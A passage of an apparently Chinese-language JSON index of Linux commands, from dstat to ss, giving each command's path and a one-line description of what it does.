Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getent":{"n":"getent","p":"/getent","d":"查询 DNS 名称服务器中的命名空间"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modetest":{"n":"modetest","p":"/modetest","d":"DRM/KMS驱动程序libdrm中的模式测试工具"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"nc是网络工具中的瑞士军刀"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"pacman":{"n":"pacman","p":"/pacman","d":"Arch Linux 系统及其衍生系统中默认使用的包管理器"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性(ipv4)"},"ping6":{"n":"ping6","p":"/ping6","d":"测试主机之间网络的连通性(ipv6)"},"pkexec":{"n":"pkexec","p":"/pkexec","d":"以其他用户身份执行命令"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"prtstat":{"n":"prtstat","p":"/prtstat","d":"显示进程信息"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwdx":{"n":"pwdx","p":"/pwdx","d":"用于显示指定进程的当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"reposync":{"n":"reposync","p":"/reposync","d":"同步yum存储库到本地目录"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"sha256sum":{"n":"sha256sum","p":"/sha256sum","d":"用于计算文件的 SHA-256 哈希值"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smartmontools":{"n":"smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 